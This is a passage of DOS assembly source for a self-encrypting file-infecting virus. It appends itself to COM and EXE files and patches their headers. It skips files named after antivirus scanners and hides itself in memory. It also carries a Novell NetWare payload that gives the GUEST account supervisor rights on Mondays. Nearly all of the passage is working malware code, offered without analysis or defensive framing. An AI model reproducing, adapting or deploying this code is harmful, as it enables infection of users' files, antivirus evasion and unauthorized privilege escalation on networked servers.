mov ah,3fh ;... and read 2 bytes from it
lea dx,header
mov cx,2
call int21
pop dx cx
call seekfrombof ;seek to old filepos
cmp word ptr header,'eK' ;is the file infected?
je ih_errexit
clc ;clear CF
jmp short ih_exit
ih_errexit:
stc ;set CF
ih_exit:
jmp popall_ret
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; Check a if a file is COM/EXE
; Input: DS:DX=filename
; Output: CF=1 if extension isn't COM/EXE, 0 otherwise
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
extension_check:
pusha
push ds es ds
pop es ;ES=DS
mov cx,128 ;search about 128 bytes
mov di,dx ;es:di=ds:dx (start of filename)
mov al,'.' ;search for '.'
cld
repne scasb
xchg si,di ;es:si=extension
call check_ext
extcheck_exit:
jmp short mcbc_exit
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; Save the original Int 24h vector and install a new one
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
setnew_24h:
pusha
push ds es cs
pop es ;ES=CS
xor ax,ax
mov ds,ax ;DS=0
mov si,24h*4 ;SI points to 24h interrupt vector
lea di,old_24h ;DI points to our variable
cld
movsw ;save the original int 24h vector in
movsw ;'old_24h'
mov word ptr [si-2],cs
mov word ptr [si-4],offset my_24h ;set our new int 24h handler
jmp short extcheck_exit
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; EXE infection routine
; Input: BX=handle, "Header"=must contain the first 1ch bytes of file
; Output: CF=1 if file already infected/bad (overlays,windows), 0 otherwise
; Note: DS=ES=CS on entry
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
exeinfect:
pusha
cmp word ptr header+12h,'or' ;already infected?
je close_error
cmp byte ptr header+18h,'@' ;windows?
je close_error
cmp word ptr header+1ah,0 ;internal overlays?
jne close_error
mov ax,512 ;use 2/4 offsets from header to
mov cx,word ptr header+4 ;calculate the filesize
mul cx ;dx:ax=filesize-lastpage
add ax,word ptr header+2 ;add the lastpage
adc dx,0
mov word ptr f_size,ax
mov word ptr f_size+2,dx ;save the filesize
call seek2eof ;move file pointer to end of file
cmp ax,word ptr f_size ;check if the file has overlays
ja close_error
cmp dx,word ptr f_size+2
ja close_error
mov cx,word ptr header+14h ;save original ip
mov _ip,cx
mov cx,word ptr header+16h ;save original cs
mov _cs,cx
mov cx,word ptr header+0eh ;save original ss
mov _ss,cx
mov cx,word ptr header+10h ;save original sp
mov _sp,cx
push ax dx ;save the filesize
mov cx,16 ;transform into paragraphs
div cx ;dx:ax holds the filesize in paras
sub ax,word ptr header+8 ;subtract the size of the header
mov word ptr header+12h,'or' ;infection signature
mov word ptr header+14h,dx ;modify the values for cs:ip from the
mov word ptr header+16h,ax ;exe header to point to our virus
add ax,(endheap-begin+15)/16+1 ;adjust stack segment (SS) and stack
mov word ptr header+0eh,ax ;pointer (SP)
and word ptr header+10h,1111111111111110b
pop dx ax ;restore the filesize
add ax,(heap-begin) ;recalculate the new filesize
adc dx,0
mov cx,512
div cx ;dx:ax contains filesize+our virus
inc ax ;add last page
mov word ptr header+2,dx ;store the new partpag
mov word ptr header+4,ax ;store the new pagecnt
mov host,1 ;host=exe
close_nerr:
clc ;clear CF
jmp short exe_close
close_error:
stc ;set CF
exe_close:
popa
ret
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; COM infection routine
; Input: BX=handle, "Header"=must contain the first 1ch bytes of file
; Output: CF=1 if file already infected/bad (too small/big), 0 otherwise
; Note: DS=ES=CS on entry
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
cominfect:
pusha
call seek2eof ;move file pointer to EOF (ds:dx=fsize)
cmp ax,65000-(heap-begin) ;check if file is too big
jae close_error
cmp ax,(heap-begin) ;check if file is too small
jbe close_error
mov cx,word ptr header+1 ;check if the file has already been
add cx,heap-begin+3 ;infected
cmp ax,cx
je close_error
lea si,header
lea di,orig_jmp ;save the original jmp
movsw ;move 3 bytes from ds:si in es:di
movsb
mov byte ptr header,0e9h ;0e9h=jmp
sub ax,3 ;ax=filesize-3 (size of jmp)
mov word ptr header+1,ax
mov host,0 ;host=com
jmp short close_nerr
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; Write virus to host file (Input: BX=handle, "Header"=1st 1ch bytes of file)
; Notes: - DS=ES=CS on entry
; - the filepointer is located at EOF
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
write_virus:
mov ah,2ah ;get DOS date
call int21
xchg cx,ax ;put the year in AX
sub ax,1980 ;subtract 1980 => year =1..10
shl ax,4 ;ax=ax*2^4(16)
or al,dh ;get month
shl ax,5 ;ax=ax*2^5(32)
or al,dl ;get day
push ax ;AX=date in filedate format
mov ax,5700h ;get file time/date
call int21
pop cx ;restore current date
cmp cx,dx ;compare computer's date with filedate
je writexit ;if equal then exit
call crypt0rz ;first encrypt the virus
mov ah,40h ;"Write to File via Handle" DOS function
mov cx,(heap-begin) ;size to write
lea dx,wholevir ;address of buffer containing data
call int21 ;write the virus body at eof
call seek2bof ;seek to start of file
lea si,header
call writeheader ;write the new exe/com header
writexit:
ret
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; Write the header to BOF (Input: BX=handle, SI=offset of buffer)
; Note: - the filepointer is located at BOF
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
writeheader:
mov ah,40h ;"Write to File via Handle" DOS function
mov cx,1ch ;write 28 bytes (size of header)
mov dx,si ;address of buffer containing data
call int21
ret
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; Checks if the extension of a filename is COM or EXE
; Input: ES:SI=first byte from extension
; Output: CF=1 if extension isn't COM/EXE, 0 otherwise
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
check_ext:
pusha
mov ax,word ptr es:[si] ;get the first 2 bytes from extension
or ax,0010000000100000b ;lowercase
mov bl,byte ptr es:[si+2] ;get the 3rd byte from extension
or bl,00100000b ;lowercase
cmp ax,'oc' ;com?
jne maybexe
cmp bl,'m'
jne bad_ext
jmp short ext_okay
maybexe:
cmp ax,'xe' ;exe?
jne bad_ext
cmp bl,'e'
je ext_okay
bad_ext:
stc ;CF=1
jmp short chk_exit
ext_okay:
clc ;CF=0
chk_exit:
popa
ret
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; Checks if the filename from DS:DX can be infected or not (CF set if not)
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
filename_check:
pusha
mov si,dx ;DS:SI=DS:DX
findend:
inc si ;increase the pointer
cmp byte ptr ds:[si],0 ;check if 0 (end of the ASCIIZ string)
jne findend ;keep searching
findname:
dec si ;decrease the pointer
cmp byte ptr ds:[si],'\' ;check if '\' (end of directory name)
jne findname ;keep searching
gotname:
inc si ;SI holds the beginning of filename
mov ax,word ptr ds:[si] ;get the first 2 bytes in AX
or ax,0010000000100000b ;lowercase
cmp ax,'iw' ;WIndows?
je winfound
otherfiles:
cmp ax,'ar' ;RAV?
je badfile
cmp ax,'vf' ;FV86/FV386
je badfile
cmp ax,'if' ;FindVirus
je badfile
cmp ax,'on' ;Nod-ICE
je badfile
cmp ax,'cs' ;McPig's Scan
je badfile ; *not that anyone uses these shits ;)*
cmp ax,'sv' ;McCow's VShield
je badfile
cmp ax,'bt' ;TB*
je badfile
clc ;clear CF
jmp short fc_exit
badfile:
stc ;set CF
fc_exit:
popa
ret
winfound:
push ax
mov ax,word ptr ds:[si+2] ;get the next 2 bytes in AX
or ax,0010000000100000b ;lowercase
cmp ax,'.n' ;wiN.com?
pop ax
jne otherfiles
mov byte ptr cs:windoze,0 ;windows is active => no memory stealth
push ds es ;ES points to EPB (Exec Parameter Block)
mov si,word ptr es:[bx+2] ;get offset of address of command line
mov ax,word ptr es:[bx+4] ;get segment " "
push ax ax
pop ds es ;DS=ES=AX=segment of address of param
mov di,si ;store the offset in DI
inc di
cmp byte ptr [si],0 ;no parameters entered?
je writeparam
cld ;clear direction flag
mov al,13 ;search for enter
mov cx,127 ;maximum size of parameters
repne scasb
jne noparam
dec di ;DI=end of command line
writeparam:
mov cx,6 ;size of our parameter
add byte ptr [si],5 ;new param coming up
push cs
pop ds ;DS=CS
lea si,wino32bit ;from DS:SI
rep movsb
noparam:
pop es ds ;restore DS/ES
jmp fc_exit
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; Restore the original Int 24h vector
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
restore_24h:
push cs
pop ds ;DS=CS
xor ax,ax
mov es,ax ;ES=0
mov di,24h*4 ;DI points to 24h interrupt vector
lea si,old_24h ;SI points to our variable
cld
movsw ;restore the original int 24h vector
movsw
ret
old_24h dd ?
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; New Int 24h handler (return to application indicating a failed DOS action)
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
my_24h:
mov al,3 ;execution failed
mov byte ptr cs:stealthfcb,1 ;stealth on FCB functions
iret
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; Get the current position of file read/write pointer in DX:AX
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
get_position:
push cx
mov ax,4201h ;move pointer to current pos + CX:DX
xor cx,cx ;CX=0
cwd ;DX=0
call int21
pop cx
ret
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; Set file pointer (LSEEK) operations
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
seek2bof:
mov al,0 ;move pointer to start of file
cmp ax,0 ;junk instruction
org $-2 ;this will transform the next 2 bytes
seek2eof: ;into an offset for "cmp ax"
mov al,2 ;move pointer to end of file
xor cx,cx ;CX=0
xor dx,dx ;DX=0
cmp ax,0 ;junk
org $-2 ;same as above
seekfrombof:
mov al,0 ;move pointer to start of file (+CX:DX)
mov ah,42h ;"Set File Pointer" DOS function
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; Call the original 21h interrupt vector
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
int21:
pushf
call dword ptr cs:[old_21h] ;call the orig. 21h interrupt vector
ret
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; 52h gets here first...
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
listoflsts:
pop bp
call stealthmem ;subtract our virus from memory
jmp exithandler
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; 32h Get Disk Parameter Block - disable stealth on FCB functions
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
getdpb:
pop bp
mov byte ptr cs:stealthfcb,0 ;no stealth on FCB functions
jmp exithandler
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; 00h/31h/4ch - re-enable stealth on FCB functions
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
enablefcb:
pop bp
mov byte ptr cs:stealthfcb,1 ;stealth on FCB functions
mov byte ptr cs:windoze,1 ;stealth memory
jmp exithandler
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; Oligomorphic engine
; -------------------
; Input: CS=DS=ES
; Output: "wholevir" filled up with an encrypted copy of the virus
; - decryptors: XOR/ADD/SUB/INC/DEC/NOT
; - registers used: only SI
; - no garbage/junk instructions
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
crypt0rz:
pusha
call getrandom ;get a 16-bit random number
mov byte ptr crypt_val,al ;use its 8-bit low value for our key
call getrandom
and ax,0000000000000101b ;6 variants (0-5)
shl ax,1 ;mul 2 to get the right offset
cmp ax,6 ;INC/DEC/NOT?
jb forkit
mov byte ptr crypt_val,90h ;NOP the key
forkit:
lea si,algotable ;SI points to our algoritm table
add si,ax ;adjust offset in table
push [si]
pop word ptr [crypt_algo] ;save encryption method
push [si+12]
pop word ptr [dec_algo] ;save decryption method
lea di,inc_algo ;get random incrementation method
call getrandom
and ax,0000000000000011b ;4 variants (0-3)
shl ax,2 ;mul 4 to get the right offset
lea si,inctable ;SI points to our incrementation table
add si,ax ;adjust offset in table
movsw ;from inctable to inc_algo
movsw ;DS:SI -> ES:DI
lea si,begin ;create a copy of the virus in mem
lea di,wholevir
mov cx,heap-begin ;size of virus
rep movsb
lea si,wholevir+(cryptstart-begin) ;where does the encryption begins
mov fillret,0c3h ;put a RET at the end of 'crypt'
call crypt ;go and encrypt the 2nd copy in memory
mov byte ptr wholevir+(fillret-begin),90h ;put the NOP back in memory
push word ptr [dec_algo] ;save the decrypt algorithm on stack
pop word ptr [wholevir+(crypt_algo-begin)] ;put the value in memory
call getrandom ;get a random number in AX
mov byte ptr value,al ;store AL as the 2nd encryption value
mov byte ptr wholevir+(value-begin),al ;save it in memory too
lea di,wholevir+(crypt-begin) ;point to start of real decryption
call cryptdecrypt ;encrypt the decryption routine
popa
ret
algotable:
;Encrypt methods
db 80h,34h ;xor byte ptr [si],
db 80h,2ch ;sub byte ptr [si],
db 80h,04h ;add byte ptr [si],
db 0feh,0ch ;dec byte ptr [si]
db 0feh,04h ;inc byte ptr [si]
db 0f6h,14h ;not byte ptr [si]
;Decrypt methods
db 80h,34h ;xor byte ptr [si],
db 80h,04h ;add byte ptr [si],
db 80h,2ch ;sub byte ptr [si],
db 0feh,04h ;inc byte ptr [si]
db 0feh,0ch ;dec byte ptr [si]
db 0f6h,14h ;not byte ptr [si]
inctable:
db 4eh,46h,46h,3fh ;dec si/inc si/inc si/aas
db 46h,8bh,0f6h,3fh ;inc si/mov si,si/aas
db 83h,0c6h,02h,4eh ;add si,2/dec si
db 83h,0c6h,01h,3fh ;add si,1/aas
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; Get a 16-bit random value in AX
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
getrandom:
push es
pusha
mov ah,2ch ;Get DOS Time
call int21
mov bx,'S'+'L'+'A'+'M' ;BX=301
in al,40h ;get a random number in AL
xor ax,bx
xchg ah,al ;swap AL with AH
in al,40h ;get a random number in AL
xor ax,dx ;DH=seconds, DL=hundredths of second
mov es,ax ;store the random value in ES
popa
mov ax,es ;store it back in AX
pop es
or ax,ax ;check if NUL value
je getrandom
ret
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; Novell Network payloads and actions
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
novellcheck:
pushf
pusha ;save everything on stack
push ds es
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; Check if IPX protocol is installed
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
mov ax,7A00h ;IPX installation check
int 2fh
cmp al,0 ;check if IPX installed
je no_novell ;no IPX installed
push cs cs
pop ds es ;DS=ES=CS
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; Check if the curently logged in user is SUPERVISOR EQUIVALENT or not
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
mov word ptr getbreq,1 ;length of following data=1
mov byte ptr getbreq+2,46h ;subfnct 46h=Get Bindery Access Level
mov word ptr getbrep,5 ;length of following buffer=5
mov ah,0e3h ;get bindery access level
lea si,getbreq
lea di,getbrep
call int21
mov al,byte ptr getbrep+2 ;al=security levels
cmp al,33h ;check if supervisor equivalent
jne no_supervisor_found
call serverclear
mov ah,2ah ;Get DOS date
call int21
cmp al,1 ;monday?
jne no_guestadd
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
; Add SUPERVISOR rights to user GUEST on Mondays
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
mov word ptr binreq,75h ;length of following data (max 75h)
mov byte ptr binreq+2,41h ;subfnct 41h=Add Bindery Object to Set
mov word ptr binreq+3,256 ;type of object
mov byte ptr binreq+5,5 ;length of object's name
mov si,offset guest ;put the name of the object in SI
mov di,offset binreq+6 ;offset 6 must contain the name
mov cx,5
rep movsb
mov byte ptr binreq+11,15 ;length of property name
mov si,offset propname ;put the name of the property in SI
mov di,offset binreq+12 ;move the property name here
mov cx,15
rep movsb
mov word ptr binreq+27,256 ;type of member object
mov byte ptr binreq+29,10 ;length of member object's name
mov si,offset admin ;name of member object's name in SI